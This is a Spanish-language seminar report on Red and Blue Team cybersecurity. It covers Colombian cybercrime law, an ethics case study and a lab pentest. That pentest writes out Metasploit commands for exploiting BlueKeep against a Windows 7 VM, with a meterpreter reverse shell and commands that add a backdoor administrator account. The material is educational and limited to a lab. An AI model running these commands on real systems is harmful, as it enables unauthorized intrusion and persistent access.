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Resumen

Este informe técnico presenta una sintesis estructurada del proceso desarrollado en el
seminario especializado sobre equipos Red Team y Blue Team. A través de actividades practicas
y andlisis tedrico-legales, se fortalecieron capacidades en ciberseguridad ofensiva y defensiva,
simulando escenarios reales que exigieron intervenciones éticas, técnicas y de contencion. Se
implementaron herramientas de pentesting, mecanismos de deteccion y respuesta, y se analiz6 el
marco legal colombiano frente a delitos informaticos y proteccion de datos. Como resultado, se
identificaron debilidades técnicas y se formularon recomendaciones estratégicas orientadas al
fortalecimiento institucional en ciberseguridad.

Palabras clave: Red Team, blue Team, pentesting, metasploit, gestion de incidentes, ética

profesional, hardening, respuesta a incidentes



Abstrac

This technical report documents the development of a specialized seminar in offensive
and defensive cybersecurity, highlighting the skills acquired through practical activities, legal
analysis, and simulated exercises. Throughout the study, controlled penetration tests were
conducted using tools such as Metasploit (Moreno, 2021; OWASP, 2023) and Nmap (Moreno,
2021), the Colombian legal framework on cybercrime and data protection was examined, and
real-world cases involving cyber espionage and incident response were evaluated. The findings
led to strategic recommendations for improving information security, integrating technical,

ethical, and organizational best practices.

Keywords: Red Team, Blue Team, pentesting, Metasploit (Moreno, 2021; OWASP,

2023), incident management, professional ethics, hardening, incident response.
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Glosario

Red Team: Grupo encargado de simular ataques reales para identificar vulnerabilidades.

Blue Team: Grupo responsable de la defensa, deteccion y respuesta ante ataques.

Pentesting: Pruebas de penetracion controladas.

SIEM (AT&T Cybersecurity, 2023; Wazuh, 2024): Sistema de gestion de eventos e informacion

de seguridad.

Hardening: Proceso de asegurar sistemas mediante configuraciones y restricciones.

IoC: Indicadores de compromiso.

MFA: Autenticaciéon multifactor.

MITRE ATT&CK: Marco para categorizar tacticas y técnicas de adversarios.

SOAR: Orquestacion y automatizacion de respuestas de seguridad.

PoLP (Stallings, 2021): Principio de menor privilegio.



Introduccion

El presente informe técnico se desarrolla como producto del seminario especializado en
equipos estratégicos en ciberseguridad, enfocandose en las capacidades del Red Team y Blue
Team desde una perspectiva técnica, legal y de gestion. A través de diversas fases, se simularon
ataques, se desplegaron acciones de defensa y se reflexiond sobre los principios normativos y
éticos que regulan estas actividades. Este proceso formativo ha permitido afianzar habilidades
criticas para enfrentar escenarios reales de ciberseguridad, en un contexto cada vez mas

demandante y complejo.



Objetivo general

Fortalecer las capacidades técnicas, legales y de gestion aplicadas en las funciones del
Red Team y del Blue Team a través del analisis e implementacion de escenarios practicos y

simulados de ciberseguridad.

Objetivos especificos

1. Identificar el marco normativo colombiano aplicable a las actividades de ciberseguridad
ofensiva y defensiva.

2. Aplicar herramientas técnicas para realizar pruebas de intrusion controladas y evaluar
vulnerabilidades.

3. Implementar medidas de deteccion, andlisis y contencion frente a incidentes de seguridad
simulados.

4. Formular recomendaciones estratégicas basadas en los hallazgos técnicos, legales y éticos

obtenidos.



CAPITULO 1

4.1 Marco legal en Colombia sobre delitos informaticos y proteccion de datos personales
Ley 1273 de 2009 (Ley 1273, 2009): Esta ley cred un nuevo bien juridico llamado
"proteccion de la informacion y de los datos". Basicamente, amplio el Codigo Penal para incluir

delitos como el acceso no autorizado a sistemas informaticos, el dafio a datos o software, y la
interceptacion de comunicaciones sin permiso. También castiga el uso de software malicioso y
otras conductas que afectan la seguridad de la informacion.

Ley 1581 de 2012 (Ley 1581, 2012): Regula todo lo relacionado con el manejo de los
datos personales. Esta ley protege nuestros datos y establece los derechos que tenemos sobre
ellos, como saber quién los tiene, para qué los usan y exigir que los borren si no queremos que
los sigan utilizando.

Decreto 1377 de 2013 (Ministerio TIC, 2023): Complementa la Ley 1581. Este decreto
explica como deben manejarse los datos recolectados antes de que se aprobara la ley, y como se
deben pedir las autorizaciones para seguir usandolos.

Ley 1266 de 2008 (Ley 1266, 2008): Esta ley se enfoca en el manejo de datos financieros
y crediticios. Nos protege cuando las entidades manejan nuestros historiales de crédito,
estableciendo limites sobre como deben usarse y compartirse.

Estas leyes son clave en el trabajo de ciberseguridad porque nos dan el marco legal para
saber qué se puede hacer y qué no, especialmente cuando tratamos con datos personales o

sistemas informaticos.



4.2 Definir cada una de las etapas del pentesting

Las pruebas de penetracion, o pentesting, son procesos que usamos para identificar fallas
de seguridad en sistemas informaticos. Estas pruebas se hacen de manera controlada, como si
fuéramos atacantes, pero con el objetivo de corregir las fallas. Las etapas del pentesting, son:
Reconocimiento: Aqui recolectamos toda la informacion posible sobre el objetivo, como qué
servicios tiene abiertos o qué tecnologias usa.
Herramienta: Nmap (Moreno, 2021), sirve para escanear la red y ver los puertos y servicios que
estan activos.
Escaneo y enumeracion: En esta parte analizamos mas a fondo lo que descubrimos en la
primera fase, buscando vulnerabilidades o configuraciones débiles.
Herramienta: OpenVAS (CERT Colombia, 2023), escanea y detecta vulnerabilidades en los
sistemas.
Explotacion: Con la informacion anterior, tratamos de aprovechar las fallas encontradas para
obtener acceso no autorizado.
Herramienta: Metasploit (Moreno, 2021; OWASP, 2023), permite lanzar exploits de forma
automatica.
Post-explotacion: Una vez dentro del sistema, evaluamos qué tan profundo se puede llegar, si se
puede mantener el acceso y qué informacion se puede obtener.
Herramienta: Meterpreter, se usa desde Metasploit (Moreno, 2021; OWASP, 2023) y permite
hacer tareas como movernos entre carpetas, tomar capturas de pantalla, etc.
Reporte: Finalmente, documentamos todo lo que hicimos, qué vulnerabilidades encontramos y

coémo se podrian solucionar.



Herramienta: Los reportes de OpenVAS (CERT Colombia, 2023) o los logs exportables desde

Metasploit (Moreno, 2021; OWASP, 2023).

4.3 Definir y explicar las herramientas

Metasploit (Moreno, 2021; OWASP, 2023): Es una herramienta muy completa que
permite encontrar y explotar vulnerabilidades en los sistemas. Tiene una base de datos de
exploits ya listos para usar y automatiza gran parte del trabajo de pentesting.

Nmap (Moreno, 2021): Esta herramienta es muy ttil para saber qué dispositivos hay en
una red, qué puertos tienen abiertos y qué servicios estan corriendo. Es una de las mas usadas en
la fase de reconocimiento.

OpenVAS (CERT Colombia, 2023): Se trata de un escaner de vulnerabilidades que
analiza los sistemas en busca de fallas. Es muy detallado y da un reporte que nos ayuda a
entender los riesgos.

ExploitDB: Es una base de datos en linea donde se publican exploits conocidos. Sirve
para buscar si alguna vulnerabilidad ya tiene un codigo que se pueda usar para pruebas.

CVE: Es un sistema que asigna codigos a las vulnerabilidades conocidas. Por ejemplo, si
una falla tiene un CVE, se puede buscar su descripcion, nivel de riesgo, y si ya hay parches o

exploits disponibles.

4.4 Reconozca, analice y configure “banco de trabajo” lo solicitado en el anexo 1

Como parte del montaje del entorno de laboratorio, se configuraron dos maquinas

virtuales en Oracle VirtualBox: una con sistema operativo Kali Linux y otra con Windows 7.



Ambas maquinas fueron configuradas utilizando el modo Adaptador Puente, lo que
permite que estén conectadas directamente a la red local del equipo anfitrion. Esta configuracion
facilita la comunicacion entre ambas maquinas, permitiendo la ejecucion de pruebas de red,

escaneo, analisis de trafico, entre otras tareas propias de un entorno de ciberseguridad.

En la siguiente ilustracion se observa el entorno de VirtualBox con ambas maquinas

virtuales encendidas:

Figura 1.

Entorno VirtualBox

BOXNE /MDA @0 croreon

g,
>

AOENE/RETN S0

Nota. Entorno de virtualizacion que contiene las maquinas Kali Linux y Windows 7 para el

laboratorio. Elaboracion propia.

Una vez iniciadas, se procedio a verificar la conectividad desde Kali Linux mediante el

comando ping a la direccion IP asignada a la maquina Windows 192.168.0.32. La respuesta



exitosa del comando confirmé la comunicacion entre ambos sistemas dentro de la misma red
virtual.

Figura 2.

Verificacion conectividad

-

kali@kali: ~

File Actions Edit View Help

192.168.0.32
PING 192.168.0.32 (192.168.0.32) 56(84) bytes of data.

Nota. Verificacion de la direccion IP asignada a la maquina virtual Windows 7 a través de

consola de comandos en Kali Linux. Elaboracion propia.

Posteriormente, se ejecutd un escaneo de red desde Kali Linux utilizando la herramienta
Nmap (Moreno, 2021), con el objetivo de identificar dispositivos activos en el segmento de red
192.168.0.0/24. El comando utilizado fue: nmap -sn 192.168.0.32/24.

El resultado evidenci6 la presencia de varios dispositivos activos, entre ellos la direccion
IP 192.168.0.32, correspondiente a la maquina virtual con Windows 7, lo que reafirma su

correcta integracion en el entorno.



Figura 3.
Comando NMAP

File Actions

Edit View Help

192.168.0.32/24

kali@kali: ~

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 22:22 EDT

Nmap scan report for 192.168.0.
Host is up (0.0081s latency).
MAC Address: 80:D0:4A:10:CD:C@
Nmap scan report for 192.168.0.
Host is up (0.0092s latency).
MAC Address: 80:D@:4A:10:CD:C2
Nmap scan report for 192.168.0.
Host is up (0.0077s latency).
MAC Address: 74:E6:B8:89:59:F8
Nmap scan report for 192.168.0.
Host is up (@0.12s latency).

MAC Address: FC:67:1F:DD:8F:DA
Nmap scan report for 192.168.0.
Host is up (0.096s latency).
MAC Address: 98:03:CF:1D:F2:A9
Nmap scan report for 192.168.0.
Host is up (@0.12s latency).

MAC Address: E8:D8:7E:A1:A9:7D
Nmap scan report for 192.168.0.
Host is up (@0.12s latency).

MAC Address: FC:67:1F:DD:86:D7
Nmap scan report for 192.168.0.
Host is up (0.096s latency).
MAC Address: 4A:6D:02:21:3F:DB
Nmap scan report for 192.168.0.
Host is up (0.000094s latency).
MAC Address: B8:1E:A4:26:1D:B1
Nmap scan report for 192.168.0.
Host is up (0.00031s latency).
MAC Address: 08:00:27:7E:E1:42
IC)

Nmap scan report for 192.168.0.
Host is up.

1

(vantiva USA)
10

(vantiva USA)
11

(LG Electronics)
12

(Tuya Smart)
13

(Shenzhen Bilian Electronic, LTD)

21

(Amazon Technologies)
22

(Tuya Smart)
27

(Unknown)
28

(Liteon Technology)
32

(PCS Systemtechnik/Oracle VirtualBox virtual N

Nmap done: 256 IP addresses (11 hosts up) scanned in 5.58 seconds

Nota. Realizacion del escaneo de puertos con nmap. Elaboracion propia.

Este procedimiento permiti6 validar la operatividad de la red configurada, asegurando

que ambas maquinas virtuales estan correctamente conectadas y listas para realizar pruebas de

seguridad ofensiva y defensiva dentro del laboratorio.

Dentro de VirtualBox se configuraron las maquinas con las siguientes caracteristicas:

Kali Linux:

Memoria RAM: 4 GB

Nombre: kali-linux-2025.1a-virtualbox-amd64

Disco duro virtual: 64 GB (formato VDI, dindamicamente asignado)
Tarjeta de red: Adaptador puente para acceso real a red local

ISO cargada: kali-linux-2025.1a-amd64.iso



Windows 7:

e Nombre: Windows7

e Memoria RAM: 2 GB

e Disco duro virtual: 32 GB (formato VDI)

o Tarjeta de red: Adaptador puente para acceso real a red local

e ISO cargada: Win7 Pro SPl.iso

CAPITULO 2
5.1 Analisis legal y ético del Acuerdo de Confidencialidad - Anexo 3

5.1.1 Identificacion de procesos ilegales y no éticos en el Acuerdo de Confidencialidad
De acuerdo con la lectura realizada a los anexos propuesto en la actividad, se evidencia
que el Acuerdo de Confidencialidad contiene multiples clausulas que resultan no solo
cuestionables desde un enfoque ético, sino también violatorias del marco juridico colombiano.
La organizacion plantea un contrato donde el silencio frente a practicas ilegales no solo es
sugerido, sino impuesto como obligacidon contractual, lo cual va en contra del deber profesional,
moral y legal de reportar actos ilicitos.
Fragmentos preocupantes:
e C(Clausula 4, numeral 3: “No denunciar ante las autoridades actividades sospechosas de
espionaje...”.
e C(Clausula 4, numeral 4: “Abstenerse de denunciar y publicar la informacion confidencial e
ilegal...”.
e (lausula 4, numeral 8: El receptor sera responsable “en caso de que la informacion se

encuentre en su poder dentro de un proceso de allanamiento”.



Estas clausulas generan un claro conflicto con los principios éticos de cualquier
profesional en ciberseguridad y seguridad informética. Aceptar estas disposiciones implicaria
tolerar la impunidad y ser complice de posibles delitos como el espionaje industrial, la

interceptacion ilegal de comunicaciones o el uso indebido de informacion estratégica.

5.1.2 Posibles vulneraciones a la Ley 1273 de 2009 (Ley 1273, 2009)

La Ley 1273 de 2009 (Ley 1273, 2009) protege la integridad de los datos y sistemas
informaticos en Colombia. A la luz de este marco normativo, el acuerdo incurre en posibles
vulneraciones de los siguientes articulos:

Articulo 269A: Acceso abusivo a un sistema informatico: Al requerir que el receptor no
denuncie actividades sospechosas, el acuerdo estaria avalando conductas que podrian implicar
accesos no autorizados a sistemas.

Articulo 269F: Violacion de datos personales: Cualquier utilizacion o almacenamiento indebido
de datos sensibles, especialmente sin consentimiento, puede ser constitutiva de este delito.
Articulo 269H: Uso de software malicioso: En el Anexo 7 se mencionan actividades
relacionadas con malware (“ShadowEye”), lo cual vincula éticamente el contenido del acuerdo
con una cultura organizacional que podria legitimar el uso de estas herramientas con fines

ilegales.

5.1.3 Evaluacion de la oferta laboral desde la ética profesional
(Aplicaria al trabajo ofrecido por CyberFort Technologies?

No, aunque la oferta laboral plantea un salario atractivo y estabilidad contractual vitalicia,
ningln incentivo econdémico justifica la pérdida de la integridad personal y profesional.

Como especialista en ciberseguridad, reconozco que nuestro rol no solo es técnico, sino

profundamente ético. E1 Cédigo de Etica del COPNIA (COPNIA, 2023) establece como deber



esencial del ingeniero actuar con responsabilidad social, denunciar practicas ilegales y anteponer
el bien comun a cualquier interés privado. El contrato ofrecido por CyberFort vulnera este
principio al pedir silencio ante practicas ilicitas y transferir responsabilidades que deberian recaer
sobre la empresa.

5.2 Analisis del caso de estudio: Ciberespionaje y Etica en CyberFort Technologies

Este caso representa una de las situaciones mas criticas en ciberseguridad: el mal manejo
del acceso privilegiado. Aunque la empresa fue contratada para mitigar una amenaza, algunos
expertos aprovecharon esa posicion para realizar ciberespionaje.

5.2.1 ;Hasta qué punto deben tener acceso a la informacion sensible de sus clientes?

El acceso debe ser regulado, justificado, temporal, supervisado y documentado. Tener
acceso no significa tener derecho a utilizar la informacion para otros fines.

El acceso a informacion sensible durante una auditoria de seguridad debe limitarse
estrictamente a lo que esté contemplado en los términos del contrato, respetando los principios
de necesidad, proporcionalidad y temporalidad. Es decir, el acceso debe ser regulado, justificado,
temporal, supervisado y plenamente documentado. No se trata de tener una puerta abierta a toda
la infraestructura del cliente, sino de una llave prestada bajo condiciones claras y monitoreadas.

Cuando un profesional de ciberseguridad obtiene acceso privilegiado, se convierte en
custodio temporal de activos estratégicos, que pueden incluir informacion critica del Estado,
propiedad intelectual o datos personales. Cualquier uso de esa informacion fuera del objetivo
contractual por mas buenas intenciones que se argumenten es una violacion de la confianza y de
la ley.

Ademas, este acceso no solo debe estar normado internamente, sino protegido por

clausulas contractuales, acuerdos de confidencialidad bidireccionales, y mecanismos de control



cruzado. Se deben establecer reglas claras sobre qué se puede hacer con la informaciéon
encontrada, qué debe ser reportado, y qué no puede ser almacenado ni conservado por la empresa
de seguridad.

El abuso del acceso, como el caso de CyberFort, desdibuja la linea entre proteccion y
explotacion. Por eso, el acceso técnico nunca debe verse como un permiso tacito para explorar,

copiar o retener informacion mas alla del alcance definido por el cliente.

5.2.2 ;{Qué mecanismos deben implementarse para evitar estos abusos?

- Politicas de ética y compliance.

- Monitoreo de accesos (logs, SIEM (AT&T Cybersecurity, 2023; Wazuh, 2024), DLP).
- Separacion de funciones.

- Formacion en ética profesional.

Canales internos de denuncia.

5.3.3 ;Como deben responder gobiernos y organizaciones ante estos actos?
- Cancelacion inmediata del contrato.

- Denuncia penal y sanciones.

- Publicacion oficial del incidente.

- Inclusién de clausulas anticorrupcion en futuros contratos.

- Evaluacion de proyectos previos de la empresa infractora.



CAPITULO 3

6.1. Herramientas software que utilizo para llevar a cabo el anexo 4 — escenario 3 enfocado

a Redteam

Para llevar a cabo este pentesting en nuestro caso de estudio, utilizamos como plataforma
atacante el sistema operativo Kali Linux, aprovechando su amplia gama de herramientas
especializadas. En particular, se hizo uso de Nmap (Moreno, 2021) para la fase de
reconocimiento y deteccion de servicios, y de Metasploit (Moreno, 2021; OWASP, 2023)

Framework para la explotacion de vulnerabilidades.

Fase de reconocimiento y enumeracion

Para saber qué vulnerabilidad afecta al servicio de Escritorio Remoto (RDP) en nuestra
maquina Windows 7 SP1 x64, realizamos una busqueda enfocada en “Windows 7 RDP
vulnerabilidad” y consultamos la base de datos oficial de CVE. Asi descubrimos que la version
de RDP incluida en Windows 7 SP1 es vulnerable a CVE-2019-0708 (NIST, 2022) (BlueKeep).
Esta falla reside en la rutina que maneja la negociacion de canales virtuales durante el
establecimiento de la conexion RDP: al enviar paquetes especialmente manipulados (una
secuencia disefiada para corromper la memoria en el canal “MS_T120”), el servidor de Escritorio
Remoto no valida correctamente ciertos valores, lo que permite a un atacante remoto ejecutar
codigo arbitrario con permisos de SYSTEM, sin necesidad de que exista ningin usuario o

contrasena validos.



Figura 4.

CVE-2019-0708 (NIST, 2022)
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CVE-2019-0708

Gravedad CVSS va.00

Tipo:

Fecha de publicacion:

Ultima modificacién:

Descripcidn

Existe una vulnerabilidad de ejecucidn de cédigo remoto en los Servicios de Escritorio Remoto, anteriormente conocidos coma Servicios de Terminal,
cuando un atacante No autenticado se conecta al sistema de destino mediante RDP y envia solicitudes especialmente disefiadas, también conocida
como "Vulnerabilidad de ejecucion de codigo remoto en los Servicios de Escritorio Remoto”

Impacto

Vector 3x
Puntuacion base 3x 980
Gravedad 3x CRITICO

Vector 20

Nota. Verificacion vulnerabilidad correspondiente a CVE-2019-0708 (NIST, 2022). Elaboracion propia.

Verificacion de vulnerabilidad

Con base en los resultados de Nmap (Moreno, 2021), se utilizaron scripts NSE adecuados
(smb-vuln-ms17-010.nse) y, posteriormente, se comprobd con Metasploit (Moreno, 2021;
OWASP, 2023) el estado de la vulnerabilidad CVE-2019-0708 (NIST, 2022). Esto nos confirmo6
que la maquina Windows 7 x64 en VirtualBox 6 era vulnerable a BlueKeep.

Para conocer a detalle si el equipo a analizar Windows 7 SP1 x64 en VirtualBox, es
vulnerable a un ataque de tipo Shell Reversa a través del servicio RDP, se hizo uso de la
herramienta Nmap (Moreno, 2021). Esta herramienta permite escanear los puertos abiertos de un
host y determinar qué servicio los atiende, asi como la version exacta del software, para luego
confirmar si existe una vulnerabilidad explotable (en este caso, CVE-2019-0708 (NIST, 2022),

BlueKeep).



Con Nmap (Moreno, 2021) se examin6 el puerto 3389 para verificar que el servicio de Escritorio
Remoto esté escuchando y conocer su version.

Figura 5.

Ebcaneoconiwnap

/usr/share/nmap/scripts

3389 y 192 . L4 ON rdp_s txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 22:27 EDT
Nmap scan report for 192.168.0.4
Host is up (©.00053s latency).

PORT STATE SERVICE VERSION

3389/tcp open ms-wbt-server Microsoft Terminal Service

MAC Address: 08:00:27:7E:E1:42 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds

/usr/share/nmap/scripts

Nota. Escaneo de puertos con namp desde la consola de comandos de Kali Linux a Windows 7.
Elaboracion propia.

Configuracion del exploit

Se realiza la carga en Metasploit (Moreno, 2021; OWASP, 2023) desde la méquina
virtual Kali Linux del modulo “exploit/windows/rdp/cve 2019 0708 bluekeep rce” y definimos

los pardmetros necesarios:



Figura 6.

Configuracion exploit

/usr/share/nmap/scripts

Metasploit tip: Start commands with a space to avoid saving them to history

metasploit v6. dev

2495 exploits 1283 auxiliary - 393 post
1607 payloads 49 encoders - 13 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.com/

Nota. Se realiza inicio de la consola metasploit. Elaboracion propia.

Figura 7.
Verificacion CVE-2019-0708 (NIST, 2022)

> search cve_2019_0708

ing Modules

Disclosure Date Rank Check Descript

auxiliary/scanner/rdp/gVe 2019 0708 bluekeep 2019-05-14 normal Y CVE-2019
-0708 BlueKeep Microsoft Remote Desktop RCE Check
1

\_ action: Crash . 5 5 Trigger

denial of service vulnerability
2 \_ action: Scan o = o Scan for
exploitable targets
3 exploit/windows/rdp/EVe 2019 0708 bluekeep_rce 2019-05-14 manual CVE-2019
-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 \ Automatic targeting via fingerprinting
Windows 7 SP1 / 2008 R2 .1.7601 x64)
Windows 7 SP1 / 2008 R2 1.7601 x64 irtualbox 6)
: Windows 7 SP1 / 2008 R2 1.7601 x64 jare 14)
Windows 7 SP1 / 2008 R2 1.7601 x64 vare 15)
Windows 7 SP1 / 2008 R2 .1.7601 x64 VMWare 15.1)
: Windows 7 SP1 / 2008 R2 1.7601 x64 Hyper-V)
Windows 7 SP1 / 2008 R2 1.7601 x64 AWS)
Windows 7 SP1 / 2008 R2 1.7601 x64 QEMU/KVM)

Interact with a module by name or index. For example

After interacting with a module you can manually set a TARGET with




Nota. Se realiza busqueda de la vulnerabilidad CVE 219 0708 bluekeep. Elaboracion

propia.

Figura 8.

Verificacion configuraciones

msf6 exploit(

) > show options

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

Name Current Setting

RDP_CLIENT_IP 192.168.0.32 yes

RDP_CLIENT_NAME ethdev
RDP_DOMAIN
RDP_USER

no
no
no

RHOSTS 192.168.0.4 yes

RPORT 3389

yes

Required

The
The
The
The
The

Description

client IPv4 address to report during connect

client computer name to report during connect, UNSET = random
client domain name to report during connect

username to report during connect, UNSET = random

target host(s), see https://docs.metasploit.com/docs/using-met

asploit/basics/using-metasploit.html

The

target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting

EXITFUNC thread
LHOST 192.168.0.32
LPORT 4444

Exploit target:

Name

Required

yes
yes
yes

Description

Exit technique (Accepted: ', seh, thread, process, none)

The listen
The listen

address (an interface may be specified)
port

Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)

View the full module info with the

Nota. Se muestran los pardmetros configurados para la ejecucion del exploit. Elaboracion propia.

Explotacion y obtencion de acceso

Al ejecutar run en Metasploit (Moreno, 2021; OWASP, 2023), se estableci6 una sesion

command.

Meterpreter con privilegios SYSTEM en la maquina victima. Con esto confirmamos la

explotacion exitosa de BlueKeep (NIST, 2022) en Windows 7 x64.



Figura 9.

Ejecucion exploit

k
nup of the incorrectly-bound MS_T120

ted cleanup of the incorrectly-bound MS_T12@ chan

address 0=xfffffa8dlle@7@00, Channel count

Nota. Se ejecuta exploit con todos los pardmetros previamente configurados

Post-explotacion y validacion

Desde la sesion Meterpreter, abrimos un shell de Windows y creamos un nuevo usuario
local con privilegios de administrador, luego, validamos en la consola whoami /groups que

“VanesaMiranda” efectivamente pertenece al grupo Administrators.



Figura 10.

Verificacion sesion activa

meterpreter > sessions -1 1
Session 1 is already interactive.
meterpreter > sysinfo
Computer : WINDOWS7
0s : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2292 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>}}

Nota. Se evidencia que el exploit se ejecutd correctamente y la sesion activa en la maquina
Windows 7. Elaboracion propia.

Figura 11.

Configuracion usuario administrador

a "Lamona

/domain




Nota. Creacion usuario administrador y asignacion de contrasefia dentro de la maquina
Windows 7. Elaboracion propia.

Figura 12.

Verificacion creacion usuario administrador

L

VanesaMiranda

. Windows' 7/ Professional

Nota. Evidencia creacion usuario administrador en la maquina virtual Windows 7. Elaboracion

propia.



Figura 13.

Verificacion creacion usuario administrador

vboxuser
Administratar
Password protected

VanesaMiranda
Administrator
Password protected

x Guest

Guest account is off

Nota. Evidencia creacion usuario administrador en la maquina virtual Windows 7. Elaboracion

propia.

Figura 14.

Verificacion creacion usuario administrador

ER Administrator: C\Windows\System32\cmd.exe EI@

Microsoft Windows [Uersion 6.1.76811]
Copyright <(c> 2B8? Microsoft Corporation. All rights reserved.

C:sWindowsssystem32>vhoani sgroups | findstr ~i administrators

MT AUTHORITY~Local account and member of Administrators group Well-known group §
—1-5-114 Mandatory group, Enabled by default. Enabled group
BUILTIN“Administrators Alias g
—1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner

C:sWindowsssystem32 >




Nota. Verificacion de todos los grupos a los que pertenece el usuario actual
Con estas fases completas, demostramos que es posible explotar una vulnerabilidad
critica (BlueKeep (NIST, 2022)) en un equipo Windows 7 de 64 bits aprovechando Kali Linux y

sus herramientas de pentesting.

6.2 Identificacion fallo de seguridad maquina Windows

A continuacion, se listan y describen, concretamente basados en nuestro caso de estudio, los
datos e informacion que nos permitieron identificar el fallo de seguridad que ataca a la maquina:
Reporte de fuga de informacion

La empresa detect? filtracion de datos desde un equipo concreto, lo que motivo investigar
ese Windows 7 SP1 x64 en VirtualBox.
Deteccion de RDP activo (puerto 3389/TCP)
En la VM Windows ejecutamos netstat -an | findstr LISTENING y vimos 0.0.0.0:3389
LISTENING.
“"En Kali confirmamos con nmap -p 3389 -sV 192.168.0.4 que estaba corriendo ms-wbt-server
(RDP).
Busqueda de vulnerabilidad en RDP (CVE-2019-0708 (NIST, 2022), “BlueKeep™)
Al saber que es Windows 7 SP1 x64 sin NLA, consultamos CVE y confirmamos que

BlueKeep (NIST, 2022) afecta a esa version de RDP.
Modulo de Metasploit (Moreno, 2021; OWASP, 2023) disponible
Verificamos en Metasploit (Moreno, 2021; OWASP, 2023) que existe
exploit/windows/rdp/cve 2019 0708 bluekeep rce, listo para generar un reverse shell

SYSTEM.



Explotacion y Shell inverso

Cargamos el modulo, configuramos:

set RHOSTS 192.168.0.4

set RPORT 3389

set TARGET 2 (“Windows 7 SP1 x64 — VirtualBox 6”)
set RDP_CLIENT IP 192.168.0.32

set LHOST 192.168.0.32

set LPORT 4444

set PAYLOAD windows/x64/meterpreter/reverse tcp
run

“Meterpreter session 1 opened” mostré que obtuvimos acceso SYSTEM.
Post-explotacion: creacion de usuario administrador

Desde el shell SYSTEM ejecutamos:

net user VanesaMiranda NuevaPass123! /add
net localgroup Administrators VanesaMiranda /add

“VanesaMiranda” quedo en el grupo Administradores, asegurando acceso persistente.
Con estos pasos confirmamos que la vulnerabilidad especifica en RDP (CVE-2019-0708

(NIST, 2022)) es la que permite el ataque y la fuga de informacion en ese Windows 7 x64.

6.3 ;Qué herramienta utilizo para poder identificar los fallos de seguridad de la “maquina

Windows”?

Para identificar las fallas de seguridad en la maquina Windows 7 SP1 x64 utilizamos
Nmap (Moreno, 2021), complementado con netstat en la VM para confirmar puertos en

LISTENING.

La aplicacion especifica de este caso, el servicio de Escritorio Remoto (RDP) en

Windows 7 escucha en el puerto 3389/TCP.



6.4 Como afecta el ataque a la maquina Windows

Figura 15.
Flujo de ataque
Flujo de Ataque BlueKeep en Windows 7 x64
T ™
Kali Linux
(Atacante)
N 4 7
e R s ~
Nmap: Escaneo RDP 3389 Me?::;rt:t::g:,sl::ion
L~
— 4 _/ — _J
' I g ™
L~
&
g Shell SYSTEM
Metasploit: 3
Configura BlueKeep / v;:;z:aul:?r:::za
&
- J - /

Nota. Se describe como un atacante puede explotar la vulnerabilidad BlueKeep (CVE-2019-0708
(NIST, 2022)) en un sistema Windows 7, utilizando herramientas como Kali Linux, Nmap

(Moreno, 2021) y Metasploit (Moreno, 2021; OWASP, 2023). Elaboracion propia.

Descubrimiento de RDP expuesto

El atacante identifica que la VM Windows 7 escucha en el puerto 3389/TCP (escritorio

remoto sin autenticacion de red nivel 2).

Confirmacion de vulnerabilidad BlueKeep (CVE-2019-0708 (NIST, 2022))

Al ser Windows 7 SP1 x64 sin parche, el servicio RDP es susceptible a la corrupcion de
memoria al recibir paquetes maliciosos, permitiendo ejecucion remota de cédigo como

SYSTEM.



Explotacion y obtencion de sesion SYSTEM

El exploit BlueKeep (NIST, 2022) envia el paquete especialmente disefiado, el servidor RDP

corrompe su memoria, y abre un canal Meterpreter con privilegios NT AUTHORITY\SYSTEM.

Post-explotacion y persistencia

Con acceso SYSTEM, se crea automaticamente un nuevo usuario local y se le concede rol de

Administrador, garantizando acceso permanente incluso tras reinicios.

Impacto global

o Control total: El atacante puede leer/modificar cualquier archivo, alterar politicas de
seguridad o instalar puertas traseras.

e Persistencia: Al existir un usuario administrativo legitimo, el atacante recupera acceso
siempre que quiera.

e Fuga de informacion: La maquina, al estar comprometida a nivel SYSTEM, puede seguir

filtrando datos confidenciales sin ser detectada.

6.5 Explotacion vulnerabilidad maquina Windows

Validamos primero que la VM Windows 7 SP1 x64 tenia IP 192.168.0.4 (y Kali Linux
192.168.0.32), confirmamos con netstat y un escaneo Nmap (Moreno, 2021) que RDP
escuchaba en el puerto 3389/TCP y respondia como “ms-wbt-server”. Al verificar en la base
CVE supimos que esa version de RDP era vulnerable a CVE-2019-0708 (NIST, 2022)

(BlueKeep). Cargamos en Metasploit (Moreno, 2021; OWASP, 2023) el mddulo



exploit/windows/rdp/cve 2019 0708 bluekeep rce, apuntamos a RHOSTS 192.168.0.4 con
TARGET 2 (VirtualBox 6), fijamos RDP_CLIENT IP = LHOST = 192.168.0.32 y LPORT
4444, y al hacer “run” obtuvimos “Meterpreter session 1 opened” como NT
AUTHORITY\SYSTEM. Desde ese shell SYSTEM creamos el usuario local VanesaMiranda
y lo agregamos al grupo Administrators para lograr persistencia, y luego verificamos que

“VanesaMiranda” podia iniciar sesion con privilegios de Administrador.

Figura 16.
Verificacion IP maquina Windows

EA C:\Windows\system32\cmd.exe

C:sUsersswhoxuser>ipconfig ~all
Mindows IP Configuration

Host Hame
Primary Dns Suffix
Mode Type
IF Routing Enahled
WINS Proxy Enabled

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix . =

Description . : Intel{R> PRO-18B@ MT Desktop Adapter
Physical Addm : B8-88-27-7E-E1-42

DHCP Enabled. H

Autoconf iguration Enabled

Link-local IPv6 Address H H

IPv4 Address. . . = 192, 8 a. 4(Pxefexxed)

Subnet Mask : 255.255.255.8

